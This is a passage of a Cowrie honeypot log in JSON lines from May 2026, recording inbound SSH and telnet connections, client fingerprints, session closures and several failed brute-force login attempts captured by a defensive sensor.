1@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:35.167528Z","src_ip":"80.94.92.182","session":"02484f66a9d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:36.440815Z","src_ip":"80.94.92.182","session":"02484f66a9d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:37.542336Z","src_ip":"80.94.92.182","session":"02484f66a9d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"304b8b85a0b4","protocol":"telnet","message":"New connection: 62.210.97.77:34882 (10.17.0.5:23) [session: 304b8b85a0b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:37.649285Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34892,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0eec66b0a8","protocol":"telnet","message":"New connection: 62.210.97.77:34892 (10.17.0.5:23) [session: bb0eec66b0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:38.167941Z"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:38.393122Z","src_ip":"213.209.159.158","session":"2766d9fff239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13938,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64cbf8f4340","protocol":"ssh","message":"New connection: 213.209.159.158:13938 (10.17.0.5:22) [session: a64cbf8f4340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:38.508229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:40.594712Z","src_ip":"213.209.159.158","session":"a64cbf8f4340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:40.599066Z","src_ip":"213.209.159.158","session":"a64cbf8f4340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d42ea5b75d3b","protocol":"telnet","message":"New connection: 65.60.27.33:46248 (10.17.0.5:23) [session: d42ea5b75d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:46.359676Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8132d1eeb8a","protocol":"telnet","message":"New connection: 38.54.119.93:52978 (10.17.0.5:23) [session: b8132d1eeb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:46.706806Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"189e1ec5a7db","protocol":"telnet","message":"New connection: 65.60.27.33:46506 (10.17.0.5:23) [session: 189e1ec5a7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:46.790115Z"}
{"eventid":"cowrie.session.closed","duration":32.01155114173889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:48.019256Z","src_ip":"62.210.97.77","session":"05b3773b42a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50476,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b41b359ed5","protocol":"telnet","message":"New connection: 65.60.27.33:50476 (10.17.0.5:23) [session: 55b41b359ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:50.102909Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"v33sM","message":"login attempt [root/v33sM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:50.576259Z","src_ip":"213.209.159.158","session":"a64cbf8f4340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46720,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c16c06ff991","protocol":"telnet","message":"New connection: 62.210.97.77:46720 (10.17.0.5:23) [session: 5c16c06ff991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:52.083102Z"}
{"eventid":"cowrie.session.closed","duration":33.781341314315796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:52.380035Z","src_ip":"62.210.97.77","session":"fc4f22101e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.981600522994995,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:53.688250Z","src_ip":"38.54.119.93","session":"b8132d1eeb8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:53.773278Z","src_ip":"213.209.159.158","session":"a64cbf8f4340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11714,"dst_ip":"10.17.0.5","dst_port":22,"session":"b25ace822651","protocol":"ssh","message":"New connection: 213.209.159.158:11714 (10.17.0.5:22) [session: b25ace822651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:53.858192Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":6175,"dst_ip":"159.203.135.109","dst_port":22,"session":"773563dee28a","protocol":"ssh","message":"New connection: 89.218.69.66:6175 (159.203.135.109:22) [session: 773563dee28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:54.189277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:54.193636Z","src_ip":"89.218.69.66","session":"773563dee28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:54.362466Z","src_ip":"89.218.69.66","session":"773563dee28a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser@123","message":"login attempt [devuser/devuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:55.066327Z","src_ip":"89.218.69.66","session":"773563dee28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:56.237936Z","src_ip":"89.218.69.66","session":"773563dee28a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:56.481054Z","src_ip":"213.209.159.158","session":"b25ace822651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:56.485355Z","src_ip":"213.209.159.158","session":"b25ace822651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81907868385315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:00.435709Z","src_ip":"62.210.97.77","session":"d3e2f1d7b706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39620,"dst_ip":"10.17.0.5","dst_port":23,"session":"2680ec0512bc","protocol":"telnet","message":"New connection: 62.210.97.77:39620 (10.17.0.5:23) [session: 2680ec0512bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:00.488376Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39628,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a54209c11a","protocol":"telnet","message":"New connection: 62.210.97.77:39628 (10.17.0.5:23) [session: 98a54209c11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:01.329576Z"}
{"eventid":"cowrie.session.closed","duration":41.67258548736572,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:01.600615Z","src_ip":"165.232.131.181","session":"a41181bfae0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39640,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d71e0c92565","protocol":"telnet","message":"New connection: 62.210.97.77:39640 (10.17.0.5:23) [session: 3d71e0c92565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:02.495081Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valverde","message":"login attempt [root/valverde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:06.064438Z","src_ip":"213.209.159.158","session":"b25ace822651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.77640986442566,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:06.693044Z","src_ip":"165.232.131.181","session":"1eedc5b9793e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39650,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0f5b403588","protocol":"telnet","message":"New connection: 62.210.97.77:39650 (10.17.0.5:23) [session: 8e0f5b403588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:07.130751Z"}
{"eventid":"cowrie.session.closed","duration":33.47191405296326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:07.173267Z","src_ip":"62.210.97.77","session":"c0d2e64df92b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.10033059120178,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:09.375721Z","src_ip":"38.54.119.93","session":"0be905404a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57034,"dst_ip":"10.17.0.5","dst_port":23,"session":"436322ec38ca","protocol":"telnet","message":"New connection: 62.210.97.77:57034 (10.17.0.5:23) [session: 436322ec38ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:09.689569Z"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:09.777332Z","src_ip":"213.209.159.158","session":"b25ace822651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7964,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8da95a85a6e","protocol":"ssh","message":"New connection: 213.209.159.158:7964 (10.17.0.5:22) [session: c8da95a85a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:09.866404Z"}
{"eventid":"cowrie.session.closed","duration":32.65817832946777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:10.826024Z","src_ip":"62.210.97.77","session":"bb0eec66b0a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64508819580078,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:11.294243Z","src_ip":"62.210.97.77","session":"304b8b85a0b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57038,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f978f2792e9","protocol":"telnet","message":"New connection: 62.210.97.77:57038 (10.17.0.5:23) [session: 7f978f2792e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:11.758806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:12.061242Z","src_ip":"213.209.159.158","session":"c8da95a85a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:12.069160Z","src_ip":"213.209.159.158","session":"c8da95a85a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.686903953552246,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:12.095759Z","src_ip":"165.232.131.181","session":"bef7ef7d608f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57042,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba11cd7fe7b","protocol":"telnet","message":"New connection: 62.210.97.77:57042 (10.17.0.5:23) [session: 7ba11cd7fe7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:14.110714Z"}
{"eventid":"cowrie.session.closed","duration":47.596951961517334,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:15.763796Z","src_ip":"38.54.119.93","session":"5bb3fbcc6462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b78f31f53f","protocol":"telnet","message":"New connection: 65.60.27.33:54314 (10.17.0.5:23) [session: a0b78f31f53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:18.282118Z"}
{"eventid":"cowrie.session.closed","duration":50.077343463897705,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:19.495593Z","src_ip":"165.232.131.181","session":"b67fc78c8f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.17618250846863,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:19.606767Z","src_ip":"165.232.131.181","session":"f438856c4ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"968943bd3625","protocol":"telnet","message":"New connection: 62.210.97.77:60066 (10.17.0.5:23) [session: 968943bd3625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:20.758597Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vagabond","message":"login attempt [root/vagabond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:22.045054Z","src_ip":"213.209.159.158","session":"c8da95a85a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60068,"dst_ip":"10.17.0.5","dst_port":23,"session":"28e9070f714a","protocol":"telnet","message":"New connection: 62.210.97.77:60068 (10.17.0.5:23) [session: 28e9070f714a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:22.112360Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1d234d1290","protocol":"telnet","message":"New connection: 62.210.97.77:60084 (10.17.0.5:23) [session: 9c1d234d1290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:22.550739Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60086,"dst_ip":"10.17.0.5","dst_port":23,"session":"afd46f477149","protocol":"telnet","message":"New connection: 62.210.97.77:60086 (10.17.0.5:23) [session: afd46f477149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:23.269002Z"}
{"eventid":"cowrie.session.closed","duration":31.609111070632935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:23.692114Z","src_ip":"62.210.97.77","session":"5c16c06ff991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:25.359372Z","src_ip":"213.209.159.158","session":"c8da95a85a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37316,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b3d4134f352","protocol":"ssh","message":"New connection: 213.209.159.158:37316 (10.17.0.5:22) [session: 8b3d4134f352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:25.442008Z"}
{"eventid":"cowrie.session.closed","duration":39.57191348075867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:25.931446Z","src_ip":"65.60.27.33","session":"d42ea5b75d3b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:27.576657Z","src_ip":"213.209.159.158","session":"8b3d4134f352","protocol":"ssh"}
